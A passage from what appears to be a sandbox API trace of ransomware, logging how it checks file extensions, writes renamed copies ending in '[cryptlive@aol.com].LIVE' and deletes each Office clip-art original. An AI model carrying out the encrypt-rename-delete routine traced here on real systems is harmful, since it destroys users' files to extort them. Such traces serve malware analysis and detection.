(lpString1=".doc", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString=".docx") returned 5 [0147.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.747] lstrlenW (lpString=".pdf") returned 4 [0147.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.747] lstrlenW (lpString=".xls") returned 4 [0147.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.748] lstrlenW (lpString=".xlsx") returned 5 [0147.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.748] lstrlenW (lpString=".ppt") returned 4 [0147.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.748] lstrlenW (lpString=".zip") returned 4 [0147.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.748] lstrlenW (lpString=".rar") returned 4 [0147.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.748] lstrlenW (lpString=".bz2") returned 4 [0147.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.748] lstrlenW (lpString=".7z") returned 3 [0147.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.748] lstrlenW (lpString=".dbf") returned 4 [0147.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.748] lstrlenW (lpString=".1cd") returned 4 [0147.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0147.748] lstrlenW (lpString=".jpg") returned 4 [0147.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.748] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0147.748] lstrlenW (lpString="J0075478.GIF") returned 12 [0147.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.753] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1220) returned 1 [0147.753] CloseHandle (hObject=0x36c) returned 1 [0147.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0147.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.785] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.785] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.786] GetLastError () returned 0x0 [0147.786] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4c4, lpOverlapped=0x0) returned 1 [0147.788] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0147.789] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.789] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.789] SetEndOfFile (hFile=0x3d0) returned 1 [0147.789] CloseHandle (hObject=0x3d0) returned 1 [0147.789] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.789] SetEndOfFile (hFile=0x1ec) returned 1 [0147.791] CloseHandle (hObject=0x1ec) returned 1 [0147.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0147.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.795] lstrlenW (lpString=".doc") returned 4 [0147.795] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0147.795] lstrlenW (lpString=".docx") returned 5 [0147.795] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0147.795] lstrlenW (lpString=".pdf") returned 4 [0147.795] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0147.795] lstrlenW (lpString=".xls") returned 4 [0147.795] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0147.795] lstrlenW (lpString=".xlsx") returned 5 [0147.795] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0147.795] lstrlenW (lpString=".ppt") returned 4 [0147.796] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".zip") returned 4 [0147.796] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString=".rar") returned 4 [0147.796] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString=".bz2") returned 4 [0147.796] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0147.796] lstrlenW (lpString=".7z") returned 3 [0147.796] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".dbf") returned 4 [0147.796] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".1cd") returned 4 [0147.796] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".jpg") returned 4 [0147.796] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".doc") returned 4 [0147.796] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0147.796] lstrlenW (lpString=".docx") returned 5 [0147.796] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0147.796] lstrlenW (lpString=".pdf") returned 4 [0147.796] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString=".xls") returned 4 [0147.796] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString=".xlsx") returned 5 [0147.796] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0147.796] lstrlenW (lpString=".ppt") returned 4 [0147.796] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0147.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.796] lstrlenW (lpString=".zip") returned 4 [0147.797] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0147.797] lstrlenW (lpString=".rar") returned 4 [0147.797] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0147.797] lstrlenW (lpString=".bz2") returned 4 [0147.797] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0147.797] lstrlenW (lpString=".7z") returned 3 [0147.797] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0147.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.797] lstrlenW (lpString=".dbf") returned 4 [0147.797] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0147.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.797] lstrlenW (lpString=".1cd") returned 4 [0147.797] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0147.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0147.797] lstrlenW (lpString=".jpg") returned 4 [0147.797] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0147.797] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.797] lstrlenW (lpString="J0086420.WMF") returned 12 [0147.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.798] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9596) returned 1 [0147.798] CloseHandle (hObject=0x1ec) returned 1 [0147.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0147.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.798] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.798] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.799] GetLastError () returned 0x0 [0147.799] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x257c, lpOverlapped=0x0) returned 1 [0147.801] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2580, lpOverlapped=0x0) returned 1 [0147.802] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.802] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.802] SetEndOfFile (hFile=0x3d0) returned 1 [0147.802] CloseHandle (hObject=0x3d0) returned 1 [0147.802] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.802] SetEndOfFile (hFile=0x1ec) returned 1 [0147.804] CloseHandle (hObject=0x1ec) returned 1 [0147.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0147.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".doc") returned 4 [0147.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString=".docx") returned 5 [0147.896] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0147.896] lstrlenW (lpString=".pdf") returned 4 [0147.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString=".xls") returned 4 [0147.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.896] lstrlenW (lpString=".xlsx") returned 5 [0147.896] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0147.896] lstrlenW (lpString=".ppt") returned 4 [0147.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".zip") returned 4 [0147.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.896] lstrlenW (lpString=".rar") returned 4 [0147.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString=".bz2") returned 4 [0147.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString=".7z") returned 3 [0147.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".dbf") returned 4 [0147.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".1cd") returned 4 [0147.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".jpg") returned 4 [0147.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.896] lstrlenW (lpString=".doc") returned 4 [0147.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.896] lstrlenW (lpString=".docx") returned 5 [0147.897] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0147.897] lstrlenW (lpString=".pdf") returned 4 [0147.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString=".xls") returned 4 [0147.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.897] lstrlenW (lpString=".xlsx") returned 5 [0147.897] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0147.897] lstrlenW (lpString=".ppt") returned 4 [0147.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.897] lstrlenW (lpString=".zip") returned 4 [0147.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.897] lstrlenW (lpString=".rar") returned 4 [0147.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString=".bz2") returned 4 [0147.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString=".7z") returned 3 [0147.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.897] lstrlenW (lpString=".dbf") returned 4 [0147.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.897] lstrlenW (lpString=".1cd") returned 4 [0147.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0147.897] lstrlenW (lpString=".jpg") returned 4 [0147.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.897] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.897] lstrlenW (lpString="J0090087.WMF") returned 12 [0147.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.898] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=46936) returned 1 [0147.898] CloseHandle (hObject=0x1ec) returned 1 [0147.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0147.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.899] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.899] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.900] GetLastError () returned 0x0 [0147.900] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb758, lpOverlapped=0x0) returned 1 [0147.903] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb760, lpOverlapped=0x0) returned 1 [0147.904] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.904] WriteFile (in: hFile=0x39c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.904] SetEndOfFile (hFile=0x39c) returned 1 [0147.905] CloseHandle (hObject=0x39c) returned 1 [0147.905] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.905] SetEndOfFile (hFile=0x1ec) returned 1 [0147.907] CloseHandle (hObject=0x1ec) returned 1 [0147.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".doc") returned 4 [0147.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString=".docx") returned 5 [0147.909] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0147.909] lstrlenW (lpString=".pdf") returned 4 [0147.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString=".xls") returned 4 [0147.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.909] lstrlenW (lpString=".xlsx") returned 5 [0147.909] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0147.909] lstrlenW (lpString=".ppt") returned 4 [0147.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".zip") returned 4 [0147.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.909] lstrlenW (lpString=".rar") returned 4 [0147.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString=".bz2") returned 4 [0147.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString=".7z") returned 3 [0147.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".dbf") returned 4 [0147.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".1cd") returned 4 [0147.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".jpg") returned 4 [0147.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.909] lstrlenW (lpString=".doc") returned 4 [0147.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.909] lstrlenW (lpString=".docx") returned 5 [0147.910] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0147.910] lstrlenW (lpString=".pdf") returned 4 [0147.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString=".xls") returned 4 [0147.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.910] lstrlenW (lpString=".xlsx") returned 5 [0147.910] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0147.910] lstrlenW (lpString=".ppt") returned 4 [0147.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0147.910] lstrlenW (lpString=".zip") returned 4 